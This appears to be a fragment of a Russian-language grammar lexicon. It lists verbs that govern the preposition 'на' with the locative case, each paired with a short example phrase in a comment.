rus_verbs:приобретаться{}, // приобретаться на распродажах
rus_verbs:наигрывать{}, // наигрывать на банджо
rus_verbs:маневрировать{}, // маневрировать на флангах
rus_verbs:запечатлеться{}, // запечатлеться на записях камер
rus_verbs:укрывать{}, // укрывать на чердаке
rus_verbs:подорваться{}, // подорваться на фугасе
rus_verbs:закрепиться{}, // закрепиться на занятых позициях
rus_verbs:громыхать{}, // громыхать на кухне
инфинитив:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:соверш }, // подвигаться на полу
деепричастие:подвигавшись{},
rus_verbs:добываться{}, // добываться на территории Анголы
rus_verbs:приплясывать{}, // приплясывать на сцене
rus_verbs:доживать{}, // доживать на больничной койке
rus_verbs:отпраздновать{}, // отпраздновать на работе
rus_verbs:сгубить{}, // сгубить на корню
rus_verbs:схоронить{}, // схоронить на кладбище
rus_verbs:тускнеть{}, // тускнеть на солнце
rus_verbs:скопить{}, // скопить на счету
rus_verbs:помыть{}, // помыть на своем этаже
rus_verbs:пороть{}, // пороть на конюшне
rus_verbs:наличествовать{}, // наличествовать на складе
rus_verbs:нащупывать{}, // нащупывать на полке
rus_verbs:змеиться{}, // змеиться на дне
rus_verbs:пожелтеть{}, // пожелтеть на солнце
rus_verbs:заостриться{}, // заостриться на конце
rus_verbs:свезти{}, // свезти на поле
rus_verbs:прочувствовать{}, // прочувствовать на своей шкуре
rus_verbs:подкрутить{}, // подкрутить на приборной панели
rus_verbs:рубиться{}, // рубиться на мечах
rus_verbs:сиживать{}, // сиживать на крыльце
rus_verbs:тараторить{}, // тараторить на иностранном языке
rus_verbs:теплеть{}, // теплеть на сердце
rus_verbs:покачаться{}, // покачаться на ветке
rus_verbs:сосредоточиваться{}, // сосредоточиваться на главной задаче
rus_verbs:развязывать{}, // развязывать на ботинках
rus_verbs:подвозить{}, // подвозить на мотороллере
rus_verbs:вышивать{}, // вышивать на рубашке
rus_verbs:скупать{}, // скупать на открытом рынке
rus_verbs:оформлять{}, // оформлять на встрече
rus_verbs:распускаться{}, // распускаться на клумбах
rus_verbs:прогореть{}, // прогореть на спекуляциях
rus_verbs:приползти{}, // приползти на коленях
rus_verbs:загореть{}, // загореть на пляже
rus_verbs:остудить{}, // остудить на балконе
rus_verbs:нарвать{}, // нарвать на поляне
rus_verbs:издохнуть{}, // издохнуть на болоте
rus_verbs:разгружать{}, // разгружать на дороге
rus_verbs:произрастать{}, // произрастать на болотах
rus_verbs:разуться{}, // разуться на коврике
rus_verbs:сооружать{}, // сооружать на площади
rus_verbs:зачитывать{}, // зачитывать на митинге
rus_verbs:уместиться{}, // уместиться на ладони
rus_verbs:закупить{}, // закупить на рынке
rus_verbs:горланить{}, // горланить на улице
rus_verbs:экономить{}, // экономить на спичках
rus_verbs:исправлять{}, // исправлять на доске
rus_verbs:расслабляться{}, // расслабляться на лежаке
rus_verbs:скапливаться{}, // скапливаться на крыше
rus_verbs:сплетничать{}, // сплетничать на скамеечке
rus_verbs:отъезжать{}, // отъезжать на лимузине
rus_verbs:отчитывать{}, // отчитывать на собрании
rus_verbs:сфокусировать{}, // сфокусировать на удаленной точке
rus_verbs:потчевать{}, // потчевать на лаврах
rus_verbs:окопаться{}, // окопаться на окраине
rus_verbs:загорать{}, // загорать на пляже
rus_verbs:обгореть{}, // обгореть на солнце
rus_verbs:распознавать{}, // распознавать на фотографии
rus_verbs:заплетаться{}, // заплетаться на макушке
rus_verbs:перегреться{}, // перегреться на жаре
rus_verbs:подметать{}, // подметать на крыльце
rus_verbs:нарисоваться{}, // нарисоваться на горизонте
rus_verbs:проскакивать{}, // проскакивать на экране
rus_verbs:попивать{}, // попивать на балконе чай
rus_verbs:отплывать{}, // отплывать на лодке
rus_verbs:чирикать{}, // чирикать на ветках
rus_verbs:скупить{}, // скупить на оптовых базах
rus_verbs:наколоть{}, // наколоть на коже картинку
rus_verbs:созревать{}, // созревать на ветке
rus_verbs:проколоться{}, // проколоться на мелочи
rus_verbs:крутнуться{}, // крутнуться на заднем колесе
rus_verbs:переночевать{}, // переночевать на постоялом дворе
rus_verbs:концентрироваться{}, // концентрироваться на фильтре
rus_verbs:одичать{}, // одичать на хуторе
rus_verbs:спасаться{}, // спасаются на лодке
rus_verbs:доказываться{}, // доказываться на страницах книги
rus_verbs:познаваться{}, // познаваться на ринге
rus_verbs:замыкаться{}, // замыкаться на металлическом предмете
rus_verbs:заприметить{}, // заприметить на пригорке
rus_verbs:продержать{}, // продержать на морозе
rus_verbs:форсировать{}, // форсировать на плотах
rus_verbs:сохнуть{}, // сохнуть на солнце
rus_verbs:выявить{}, // выявить на поверхности
rus_verbs:заседать{}, // заседать на кафедре
rus_verbs:расплачиваться{}, // расплачиваться на выходе
rus_verbs:светлеть{}, // светлеть на горизонте
rus_verbs:залепетать{}, // залепетать на незнакомом языке
rus_verbs:подсчитывать{}, // подсчитывать на пальцах
rus_verbs:зарыть{}, // зарыть на пустыре
rus_verbs:сформироваться{}, // сформироваться на месте
rus_verbs:развертываться{}, // развертываться на площадке
rus_verbs:набивать{}, // набивать на манекенах
rus_verbs:замерзать{}, // замерзать на ветру
rus_verbs:схватывать{}, // схватывать на лету
rus_verbs:перевестись{}, // перевестись на Руси
rus_verbs:смешивать{}, // смешивать на блюдце
rus_verbs:прождать{}, // прождать на входе
rus_verbs:мерзнуть{}, // мерзнуть на ветру
rus_verbs:растирать{}, // растирать на коже
rus_verbs:переспать{}, // переспал на сеновале
rus_verbs:рассекать{}, // рассекать на скутере
rus_verbs:опровергнуть{}, // опровергнуть на высшем уровне
rus_verbs:дрыхнуть{}, // дрыхнуть на диване
rus_verbs:распять{}, // распять на кресте
rus_verbs:запечься{}, // запечься на костре
rus_verbs:застилать{}, // застилать на балконе
rus_verbs:сыскаться{}, // сыскаться на огороде
rus_verbs:разориться{}, // разориться на продаже спичек
rus_verbs:переделать{}, // переделать на станке
rus_verbs:разъяснять{}, // разъяснять на страницах газеты
rus_verbs:поседеть{}, // поседеть на висках
rus_verbs:протащить{}, // протащить на спине
rus_verbs:осуществиться{}, // осуществиться на деле
rus_verbs:селиться{}, // селиться на окраине
rus_verbs:оплачивать{}, // оплачивать на первой кассе
rus_verbs:переворачивать{}, // переворачивать на сковородке
rus_verbs:упражняться{}, // упражняться на батуте
rus_verbs:испробовать{}, // испробовать на себе
rus_verbs:разгладиться{}, // разгладиться на спине
rus_verbs:рисоваться{}, // рисоваться на стекле
rus_verbs:продрогнуть{}, // продрогнуть на морозе
rus_verbs:пометить{}, // пометить на доске
rus_verbs:приютить{}, // приютить на чердаке
rus_verbs:избирать{}, // избирать на первых свободных выборах
rus_verbs:затеваться{}, // затеваться на матче
rus_verbs:уплывать{}, // уплывать на катере
rus_verbs:замерцать{}, // замерцать на рекламном щите
rus_verbs:фиксироваться{}, // фиксироваться на достигнутом уровне
rus_verbs:запираться{}, // запираться на чердаке
rus_verbs:загубить{}, // загубить на корню
rus_verbs:развеяться{}, // развеяться на природе
rus_verbs:съезжаться{}, // съезжаться на лимузинах
rus_verbs:потанцевать{}, // потанцевать на могиле
rus_verbs:дохнуть{}, // дохнуть на солнце
rus_verbs:припарковаться{}, // припарковаться на газоне
rus_verbs:отхватить{}, // отхватить на распродаже
rus_verbs:остывать{}, // остывать на улице
rus_verbs:переваривать{}, // переваривать на высокой ветке
rus_verbs:подвесить{}, // подвесить на веревке
rus_verbs:хвастать{}, // хвастать на работе
rus_verbs:отрабатывать{}, // отрабатывать на уборке урожая
rus_verbs:разлечься{}, // разлечься на полу
rus_verbs:очертить{}, // очертить на полу
rus_verbs:председательствовать{}, // председательствовать на собрании
rus_verbs:сконфузиться{}, // сконфузиться на сцене
rus_verbs:выявляться{}, // выявляться на ринге
rus_verbs:крутануться{}, // крутануться на заднем колесе
rus_verbs:караулить{}, // караулить на входе
rus_verbs:перечислять{}, // перечислять на пальцах
rus_verbs:обрабатывать{}, // обрабатывать на станке
rus_verbs:настигать{}, // настигать на берегу
rus_verbs:разгуливать{}, // разгуливать на берегу
rus_verbs:насиловать{}, // насиловать на пляже
rus_verbs:поредеть{}, // поредеть на макушке
rus_verbs:учитывать{}, // учитывать на балансе
rus_verbs:зарождаться{}, // зарождаться на большой глубине
rus_verbs:распространять{}, // распространять на сайтах
rus_verbs:пировать{}, // пировать на вершине холма
rus_verbs:начертать{}, // начертать на стене
rus_verbs:расцветать{}, // расцветать на подоконнике
rus_verbs:умнеть{}, // умнеть на глазах
rus_verbs:царствовать{}, // царствовать на окраине
rus_verbs:закрутиться{}, // закрутиться на работе
rus_verbs:отработать{}, // отработать на шахте
rus_verbs:полечь{}, // полечь на поле брани
rus_verbs:щебетать{}, // щебетать на ветке
rus_verbs:подчеркиваться{}, // подчеркиваться на сайте
rus_verbs:посеять{}, // посеять на другом поле
rus_verbs:замечаться{}, // замечаться на пастбище
rus_verbs:просчитать{}, // просчитать на пальцах
rus_verbs:голосовать{}, // голосовать на трассе
rus_verbs:маяться{}, // маяться на пляже
rus_verbs:сколотить{}, // сколотить на службе
rus_verbs:обретаться{}, // обретаться на чужбине
rus_verbs:обливаться{}, // обливаться на улице
rus_verbs:катать{}, // катать на лошадке
rus_verbs:припрятать{}, // припрятать на теле
rus_verbs:запаниковать{}, // запаниковать на экзамене
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать на частном самолете
деепричастие:слетав{},
rus_verbs:срубить{}, // срубить денег на спекуляциях
rus_verbs:зажигаться{}, // зажигаться на улице
rus_verbs:жарить{}, // жарить на углях
rus_verbs:накапливаться{}, // накапливаться на счету
rus_verbs:распуститься{}, // распуститься на грядке
rus_verbs:рассаживаться{}, // рассаживаться на местах
rus_verbs:странствовать{}, // странствовать на лошади
rus_verbs:осматриваться{}, // осматриваться на месте
rus_verbs:разворачивать{}, // разворачивать на завоеванной территории
rus_verbs:согревать{}, // согревать на вершине горы
rus_verbs:заскучать{}, // заскучать на вахте
rus_verbs:перекусить{}, // перекусить на бегу
rus_verbs:приплыть{}, // приплыть на тримаране
rus_verbs:зажигать{}, // зажигать на танцах
rus_verbs:закопать{}, // закопать на поляне
rus_verbs:стирать{}, // стирать на берегу
rus_verbs:подстерегать{}, // подстерегать на подходе
rus_verbs:погулять{}, // погулять на свадьбе
rus_verbs:огласить{}, // огласить на митинге
rus_verbs:разбогатеть{}, // разбогатеть на прииске
rus_verbs:грохотать{}, // грохотать на чердаке
rus_verbs:расположить{}, // расположить на границе
rus_verbs:реализоваться{}, // реализоваться на новой работе
rus_verbs:застывать{}, // застывать на морозе
rus_verbs:запечатлеть{}, // запечатлеть на пленке
rus_verbs:тренироваться{}, // тренироваться на манекене
rus_verbs:поспорить{}, // поспорить на совещании
rus_verbs:затягивать{}, // затягивать на поясе
rus_verbs:зиждиться{}, // зиждиться на твердой основе
rus_verbs:построиться{}, // построиться на песке
rus_verbs:надрываться{}, // надрываться на работе
rus_verbs:закипать{}, // закипать на плите
rus_verbs:затонуть{}, // затонуть на мелководье
rus_verbs:побыть{}, // побыть на фазенде
rus_verbs:сгорать{}, // сгорать на солнце
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на улице
деепричастие:пописав{ aux stress="поп^исав" },
rus_verbs:подраться{}, // подраться на сцене
rus_verbs:заправить{}, // заправить на последней заправке
rus_verbs:обозначаться{}, // обозначаться на карте
rus_verbs:просиживать{}, // просиживать на берегу
rus_verbs:начертить{}, // начертить на листке
rus_verbs:тормозить{}, // тормозить на льду
rus_verbs:затевать{}, // затевать на космической базе
rus_verbs:задерживать{}, // задерживать на таможне
rus_verbs:прилетать{}, // прилетать на частном самолете
rus_verbs:полулежать{}, // полулежать на травке
rus_verbs:ерзать{}, // ерзать на табуретке
rus_verbs:покопаться{}, // покопаться на складе
rus_verbs:подвезти{}, // подвезти на машине
rus_verbs:полежать{}, // полежать на водном матрасе
rus_verbs:стыть{}, // стыть на улице
rus_verbs:стынуть{}, // стынуть на улице
rus_verbs:скреститься{}, // скреститься на груди
rus_verbs:припарковать{}, // припарковать на стоянке
rus_verbs:здороваться{}, // здороваться на кафедре
rus_verbs:нацарапать{}, // нацарапать на парте
rus_verbs:откопать{}, // откопать на поляне
rus_verbs:смастерить{}, // смастерить на коленках
rus_verbs:довезти{}, // довезти на машине
rus_verbs:избивать{}, // избивать на крыше
rus_verbs:сварить{}, // сварить на костре
rus_verbs:истребить{}, // истребить на корню
rus_verbs:раскопать{}, // раскопать на болоте
rus_verbs:попить{}, // попить на кухне
rus_verbs:заправлять{}, // заправлять на базе
rus_verbs:кушать{}, // кушать на кухне
rus_verbs:замолкать{}, // замолкать на половине фразы
rus_verbs:измеряться{}, // измеряться на весах
rus_verbs:сбываться{}, // сбываться на самом деле
rus_verbs:изображаться{}, // изображается на сцене
rus_verbs:фиксировать{}, // фиксировать на данной высоте
rus_verbs:ослаблять{}, // ослаблять на шее
rus_verbs:зреть{}, // зреть на грядке
rus_verbs:зеленеть{}, // зеленеть на грядке
rus_verbs:критиковать{}, // критиковать на страницах газеты
rus_verbs:облететь{}, // облететь на самолете
rus_verbs:заразиться{}, // заразиться на работе
rus_verbs:рассеять{}, // рассеять на территории
rus_verbs:печься{}, // печься на костре
rus_verbs:поспать{}, // поспать на земле
rus_verbs:сплетаться{}, // сплетаться на макушке
rus_verbs:удерживаться{}, // удерживаться на расстоянии
rus_verbs:помешаться{}, // помешаться на чистоте
rus_verbs:ликвидировать{}, // ликвидировать на полигоне
rus_verbs:проваляться{}, // проваляться на диване
rus_verbs:лечиться{}, // лечиться на дому
rus_verbs:обработать{}, // обработать на станке
rus_verbs:защелкнуть{}, // защелкнуть на руках
rus_verbs:разносить{}, // разносить на одежде
rus_verbs:чесать{}, // чесать на груди
rus_verbs:наладить{}, // наладить на конвейере выпуск
rus_verbs:отряхнуться{}, // отряхнуться на улице
rus_verbs:разыгрываться{}, // разыгрываться на скачках
rus_verbs:обеспечиваться{}, // обеспечиваться на выгодных условиях
rus_verbs:греться{}, // греться на вокзале
rus_verbs:засидеться{}, // засидеться на одном месте
rus_verbs:материализоваться{}, // материализоваться на границе
rus_verbs:рассеиваться{}, // рассеиваться на высоте вершин
rus_verbs:перевозить{}, // перевозить на платформе
rus_verbs:поиграть{}, // поиграть на скрипке
rus_verbs:потоптаться{}, // потоптаться на одном месте
rus_verbs:переправиться{}, // переправиться на плоту
rus_verbs:забрезжить{}, // забрезжить на горизонте
rus_verbs:завывать{}, // завывать на опушке
rus_verbs:заваривать{}, // заваривать на кухоньке
rus_verbs:перемещаться{}, // перемещаться на спасательном плоту
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться на бланке
rus_verbs:праздновать{}, // праздновать на улицах
rus_verbs:обучить{}, // обучить на корте
rus_verbs:орудовать{}, // орудовать на складе
rus_verbs:подрасти{}, // подрасти на глядке
rus_verbs:шелестеть{}, // шелестеть на ветру
rus_verbs:раздеваться{}, // раздеваться на публике
rus_verbs:пообедать{}, // пообедать на газоне
rus_verbs:жрать{}, // жрать на помойке
rus_verbs:исполняться{}, // исполняться на флейте
rus_verbs:похолодать{}, // похолодать на улице
rus_verbs:гнить{}, // гнить на каторге
rus_verbs:прослушать{}, // прослушать на концерте
rus_verbs:совещаться{}, // совещаться на заседании
rus_verbs:покачивать{}, // покачивать на волнах
rus_verbs:отсидеть{}, // отсидеть на гаупвахте
rus_verbs:формировать{}, // формировать на секретной базе
rus_verbs:захрапеть{}, // захрапеть на кровати
rus_verbs:объехать{}, // объехать на попутке
rus_verbs:поселить{}, // поселить на верхних этажах
rus_verbs:заворочаться{}, // заворочаться на сене
rus_verbs:напрятать{}, // напрятать на теле
rus_verbs:очухаться{}, // очухаться на земле
rus_verbs:полистать{}, // полистать на досуге
rus_verbs:завертеть{}, // завертеть на шесте
rus_verbs:печатать{}, // печатать на ноуте
rus_verbs:отыскаться{}, // отыскаться на складе
rus_verbs:зафиксировать{}, // зафиксировать на пленке
rus_verbs:расстилаться{}, // расстилаться на столе
rus_verbs:заместить{}, // заместить на посту
rus_verbs:угасать{}, // угасать на неуправляемом корабле
rus_verbs:сразить{}, // сразить на ринге
rus_verbs:расплываться{}, // расплываться на жаре
rus_verbs:сосчитать{}, // сосчитать на пальцах
rus_verbs:сгуститься{}, // сгуститься на небольшой высоте
rus_verbs:цитировать{}, // цитировать на плите
rus_verbs:ориентироваться{}, // ориентироваться на местности
rus_verbs:расширить{}, // расширить на другом конце
rus_verbs:обтереть{}, // обтереть на стоянке
rus_verbs:подстрелить{}, // подстрелить на охоте
rus_verbs:растереть{}, // растереть на твердой поверхности
rus_verbs:подавлять{}, // подавлять на первом этапе
rus_verbs:смешиваться{}, // смешиваться на поверхности
// инфинитив:вычитать{ aux stress="в^ычитать" }, глагол:вычитать{ aux stress="в^ычитать" }, // вычитать на сайте
// деепричастие:вычитав{},
rus_verbs:сократиться{}, // сократиться на втором этапе
rus_verbs:занервничать{}, // занервничать на экзамене
rus_verbs:соприкоснуться{}, // соприкоснуться на трассе
rus_verbs:обозначить{}, // обозначить на плане
rus_verbs:обучаться{}, // обучаться на производстве
rus_verbs:снизиться{}, // снизиться на большой высоте
rus_verbs:простудиться{}, // простудиться на ветру
rus_verbs:поддерживаться{}, // поддерживается на встрече
rus_verbs:уплыть{}, // уплыть на лодочке
rus_verbs:резвиться{}, // резвиться на песочке
rus_verbs:поерзать{}, // поерзать на скамеечке
rus_verbs:похвастаться{}, // похвастаться на встрече
rus_verbs:знакомиться{}, // знакомиться на уроке
rus_verbs:проплывать{}, // проплывать на катере
rus_verbs:засесть{}, // засесть на чердаке
rus_verbs:подцепить{}, // подцепить на дискотеке
rus_verbs:обыскать{}, // обыскать на входе
rus_verbs:оправдаться{}, // оправдаться на суде
rus_verbs:раскрываться{}, // раскрываться на сцене
rus_verbs:одеваться{}, // одеваться на вещевом рынке
rus_verbs:засветиться{}, // засветиться на фотографиях
rus_verbs:употребляться{}, // употребляться на птицефабриках
rus_verbs:грабить{}, // грабить на пустыре
rus_verbs:гонять{}, // гонять на повышенных оборотах
rus_verbs:развеваться{}, // развеваться на древке
rus_verbs:основываться{}, // основываться на безусловных фактах
rus_verbs:допрашивать{}, // допрашивать на базе
rus_verbs:проработать{}, // проработать на стройке
rus_verbs:сосредоточить{}, // сосредоточить на месте
rus_verbs:сочинять{}, // сочинять на ходу
rus_verbs:ползать{}, // ползать на камне
rus_verbs:раскинуться{}, // раскинуться на пустыре
rus_verbs:уставать{}, // уставать на работе
rus_verbs:укрепить{}, // укрепить на конце
rus_verbs:образовывать{}, // образовывать на открытом воздухе взрывоопасную смесь
rus_verbs:одобрять{}, // одобрять на словах
rus_verbs:приговорить{}, // приговорить на заседании тройки
rus_verbs:чернеть{}, // чернеть на свету
rus_verbs:гнуть{}, // гнуть на станке
rus_verbs:размещаться{}, // размещаться на бирже
rus_verbs:соорудить{}, // соорудить на даче
rus_verbs:пастись{}, // пастись на лугу
rus_verbs:формироваться{}, // формироваться на дне
rus_verbs:таить{}, // таить на дне
rus_verbs:приостановиться{}, // приостановиться на середине
rus_verbs:топтаться{}, // топтаться на месте
rus_verbs:громить{}, // громить на подступах
rus_verbs:вычислить{}, // вычислить на бумажке
rus_verbs:заказывать{}, // заказывать на сайте
rus_verbs:осуществить{}, // осуществить на практике
rus_verbs:обосноваться{}, // обосноваться на верхушке
rus_verbs:пытать{}, // пытать на электрическом стуле
rus_verbs:совершиться{}, // совершиться на заседании
rus_verbs:свернуться{}, // свернуться на медленном огне
rus_verbs:пролетать{}, // пролетать на дельтаплане
rus_verbs:сбыться{}, // сбыться на самом деле
rus_verbs:разговориться{}, // разговориться на уроке
rus_verbs:разворачиваться{}, // разворачиваться на перекрестке
rus_verbs:преподнести{}, // преподнести на блюдечке
rus_verbs:напечатать{}, // напечатать на лазернике
rus_verbs:прорвать{}, // прорвать на периферии
rus_verbs:раскачиваться{}, // раскачиваться на доске
rus_verbs:задерживаться{}, // задерживаться на старте
rus_verbs:угощать{}, // угощать на вечеринке
rus_verbs:шарить{}, // шарить на столе
rus_verbs:увеличивать{}, // увеличивать на первом этапе
rus_verbs:рехнуться{}, // рехнуться на старости лет
rus_verbs:расцвести{}, // расцвести на грядке
rus_verbs:закипеть{}, // закипеть на плите
rus_verbs:подлететь{}, // подлететь на параплане
rus_verbs:рыться{}, // рыться на свалке
rus_verbs:добираться{}, // добираться на попутках
rus_verbs:продержаться{}, // продержаться на вершине
rus_verbs:разыскивать{}, // разыскивать на выставках
rus_verbs:освобождать{}, // освобождать на заседании
rus_verbs:передвигаться{}, // передвигаться на самокате
rus_verbs:проявиться{}, // проявиться на свету
rus_verbs:заскользить{}, // заскользить на льду
rus_verbs:пересказать{}, // пересказать на сцене студенческого театра
rus_verbs:протестовать{}, // протестовать на улице
rus_verbs:указываться{}, // указываться на табличках
rus_verbs:прискакать{}, // прискакать на лошадке
rus_verbs:копошиться{}, // копошиться на свежем воздухе
rus_verbs:подсчитать{}, // подсчитать на бумажке
rus_verbs:разволноваться{}, // разволноваться на экзамене
rus_verbs:завертеться{}, // завертеться на полу
rus_verbs:ознакомиться{}, // ознакомиться на ходу
rus_verbs:ржать{}, // ржать на уроке
rus_verbs:раскинуть{}, // раскинуть на грядках
rus_verbs:разгромить{}, // разгромить на ринге
rus_verbs:подслушать{}, // подслушать на совещании
rus_verbs:описываться{}, // описываться на страницах книги
rus_verbs:качаться{}, // качаться на стуле
rus_verbs:усилить{}, // усилить на флангах
rus_verbs:набросать{}, // набросать на клочке картона
rus_verbs:расстреливать{}, // расстреливать на подходе
rus_verbs:запрыгать{}, // запрыгать на одной ноге
rus_verbs:сыскать{}, // сыскать на чужбине
rus_verbs:подтвердиться{}, // подтвердиться на практике
rus_verbs:плескаться{}, // плескаться на мелководье
rus_verbs:расширяться{}, // расширяться на конце
rus_verbs:подержать{}, // подержать на солнце
rus_verbs:планироваться{}, // планироваться на общем собрании
rus_verbs:сгинуть{}, // сгинуть на чужбине
rus_verbs:замкнуться{}, // замкнуться на точке
rus_verbs:закачаться{}, // закачаться на ветру
rus_verbs:перечитывать{}, // перечитывать на ходу
rus_verbs:перелететь{}, // перелететь на дельтаплане
rus_verbs:оживать{}, // оживать на солнце
rus_verbs:женить{}, // женить на богатой невесте
rus_verbs:заглохнуть{}, // заглохнуть на старте
rus_verbs:копаться{}, // копаться на полу
rus_verbs:развлекаться{}, // развлекаться на дискотеке
rus_verbs:печататься{}, // печататься на струйном принтере
rus_verbs:обрываться{}, // обрываться на полуслове
rus_verbs:ускакать{}, // ускакать на лошадке
rus_verbs:подписывать{}, // подписывать на столе
rus_verbs:добывать{}, // добывать на выработке
rus_verbs:скопиться{}, // скопиться на выходе
rus_verbs:повстречать{}, // повстречать на пути
rus_verbs:поцеловаться{}, // поцеловаться на площади
rus_verbs:растянуть{}, // растянуть на столе
rus_verbs:подаваться{}, // подаваться на благотворительном обеде
rus_verbs:повстречаться{}, // повстречаться на митинге
rus_verbs:примоститься{}, // примоститься на ступеньках
rus_verbs:отразить{}, // отразить на страницах доклада
rus_verbs:пояснять{}, // пояснять на страницах приложения
rus_verbs:накормить{}, // накормить на кухне
rus_verbs:поужинать{}, // поужинать на веранде
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть на митинге
деепричастие:спев{},
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить на мелководье
rus_verbs:освоить{}, // освоить на практике
rus_verbs:распластаться{}, // распластаться на травке
rus_verbs:отплыть{}, // отплыть на старом каяке
rus_verbs:улетать{}, // улетать на любом самолете
rus_verbs:отстаивать{}, // отстаивать на корте
rus_verbs:осуждать{}, // осуждать на словах
rus_verbs:переговорить{}, // переговорить на обеде
rus_verbs:укрыть{}, // укрыть на чердаке
rus_verbs:томиться{}, // томиться на привязи
rus_verbs:сжигать{}, // сжигать на полигоне
rus_verbs:позавтракать{}, // позавтракать на лоне природы
rus_verbs:функционировать{}, // функционирует на солнечной энергии
rus_verbs:разместить{}, // разместить на сайте
rus_verbs:пронести{}, // пронести на теле
rus_verbs:нашарить{}, // нашарить на столе
rus_verbs:корчиться{}, // корчиться на полу
rus_verbs:распознать{}, // распознать на снимке
rus_verbs:повеситься{}, // повеситься на шнуре
rus_verbs:обозначиться{}, // обозначиться на картах
rus_verbs:оступиться{}, // оступиться на скользком льду
rus_verbs:подносить{}, // подносить на блюдечке
rus_verbs:расстелить{}, // расстелить на газоне
rus_verbs:обсуждаться{}, // обсуждаться на собрании
rus_verbs:расписаться{}, // расписаться на бланке
rus_verbs:плестись{}, // плестись на привязи
rus_verbs:объявиться{}, // объявиться на сцене
rus_verbs:повышаться{}, // повышаться на первом датчике
rus_verbs:разрабатывать{}, // разрабатывать на заводе
rus_verbs:прерывать{}, // прерывать на середине
rus_verbs:каяться{}, // каяться на публике
rus_verbs:освоиться{}, // освоиться на лошади
rus_verbs:подплыть{}, // подплыть на плоту
rus_verbs:оскорбить{}, // оскорбить на митинге
rus_verbs:торжествовать{}, // торжествовать на пьедестале
rus_verbs:поправлять{}, // поправлять на одежде
rus_verbs:отражать{}, // отражать на картине
rus_verbs:дремать{}, // дремать на кушетке
rus_verbs:применяться{}, // применяться на производстве стали
rus_verbs:поражать{}, // поражать на большой дистанции
rus_verbs:расстрелять{}, // расстрелять на окраине хутора
rus_verbs:рассчитать{}, // рассчитать на калькуляторе
rus_verbs:записывать{}, // записывать на ленте
rus_verbs:перебирать{}, // перебирать на ладони
rus_verbs:разбиться{}, // разбиться на катере
rus_verbs:поискать{}, // поискать на ферме
rus_verbs:прятать{}, // прятать на заброшенном складе
rus_verbs:пропеть{}, // пропеть на эстраде
rus_verbs:замелькать{}, // замелькать на экране
rus_verbs:грустить{}, // грустить на веранде
rus_verbs:крутить{}, // крутить на оси
rus_verbs:подготовить{}, // подготовить на конспиративной квартире
rus_verbs:различать{}, // различать на картинке
rus_verbs:киснуть{}, // киснуть на чужбине
rus_verbs:оборваться{}, // оборваться на полуслове
rus_verbs:запутаться{}, // запутаться на простейшем тесте
rus_verbs:общаться{}, // общаться на уроке
rus_verbs:производиться{}, // производиться на фабрике
rus_verbs:сочинить{}, // сочинить на досуге
rus_verbs:давить{}, // давить на лице
rus_verbs:разработать{}, // разработать на секретном предприятии
rus_verbs:качать{}, // качать на качелях
rus_verbs:тушить{}, // тушить на крыше пожар
rus_verbs:охранять{}, // охранять на территории базы
rus_verbs:приметить{}, // приметить на взгорке
rus_verbs:скрыть{}, // скрыть на теле
rus_verbs:удерживать{}, // удерживать на руке
rus_verbs:усвоить{}, // усвоить на уроке
rus_verbs:растаять{}, // растаять на солнечной стороне
rus_verbs:красоваться{}, // красоваться на виду
rus_verbs:сохраняться{}, // сохраняться на холоде
rus_verbs:лечить{}, // лечить на дому
rus_verbs:прокатиться{}, // прокатиться на уницикле
rus_verbs:договариваться{}, // договариваться на нейтральной территории
rus_verbs:качнуться{}, // качнуться на одной ноге
rus_verbs:опубликовать{}, // опубликовать на сайте
rus_verbs:отражаться{}, // отражаться на поверхности воды
rus_verbs:обедать{}, // обедать на веранде
rus_verbs:посидеть{}, // посидеть на лавочке
rus_verbs:сообщаться{}, // сообщаться на официальном сайте
rus_verbs:свершиться{}, // свершиться на заседании
rus_verbs:ночевать{}, // ночевать на даче
rus_verbs:темнеть{}, // темнеть на свету
rus_verbs:гибнуть{}, // гибнуть на территории полигона
rus_verbs:усиливаться{}, // усиливаться на территории округа
rus_verbs:проживать{}, // проживать на даче
rus_verbs:исследовать{}, // исследовать на большой глубине
rus_verbs:обитать{}, // обитать на громадной глубине
rus_verbs:сталкиваться{}, // сталкиваться на большой высоте
rus_verbs:таиться{}, // таиться на большой глубине
rus_verbs:спасать{}, // спасать на пожаре
rus_verbs:сказываться{}, // сказываться на общем результате
rus_verbs:заблудиться{}, // заблудиться на стройке
rus_verbs:пошарить{}, // пошарить на полках
rus_verbs:планировать{}, // планировать на бумаге
rus_verbs:ранить{}, // ранить на полигоне
rus_verbs:хлопать{}, // хлопать на сцене
rus_verbs:основать{}, // основать на горе новый монастырь
rus_verbs:отбить{}, // отбить на столе
rus_verbs:отрицать{}, // отрицать на заседании комиссии
rus_verbs:устоять{}, // устоять на ногах
rus_verbs:отзываться{}, // отзываться на страницах отчёта
rus_verbs:притормозить{}, // притормозить на обочине
rus_verbs:читаться{}, // читаться на лице
rus_verbs:заиграть{}, // заиграть на саксофоне
rus_verbs:зависнуть{}, // зависнуть на игровой площадке
rus_verbs:сознаться{}, // сознаться на допросе
rus_verbs:выясняться{}, // выясняться на очной ставке
rus_verbs:наводить{}, // наводить на столе порядок
rus_verbs:покоиться{}, // покоиться на кладбище
rus_verbs:значиться{}, // значиться на бейджике
rus_verbs:съехать{}, // съехать на санках
rus_verbs:познакомить{}, // познакомить на свадьбе
rus_verbs:завязать{}, // завязать на спине
rus_verbs:грохнуть{}, // грохнуть на площади
rus_verbs:разъехаться{}, // разъехаться на узкой дороге
rus_verbs:столпиться{}, // столпиться на крыльце
rus_verbs:порыться{}, // порыться на полках
rus_verbs:ослабить{}, // ослабить на шее
rus_verbs:оправдывать{}, // оправдывать на суде
rus_verbs:обнаруживаться{}, // обнаруживаться на складе
rus_verbs:спастись{}, // спастись на дереве
rus_verbs:прерваться{}, // прерваться на полуслове
rus_verbs:строиться{}, // строиться на пустыре
rus_verbs:познать{}, // познать на практике
rus_verbs:путешествовать{}, // путешествовать на поезде
rus_verbs:побеждать{}, // побеждать на ринге
rus_verbs:рассматриваться{}, // рассматриваться на заседании
rus_verbs:продаваться{}, // продаваться на открытом рынке
rus_verbs:разместиться{}, // разместиться на базе
rus_verbs:завыть{}, // завыть на холме
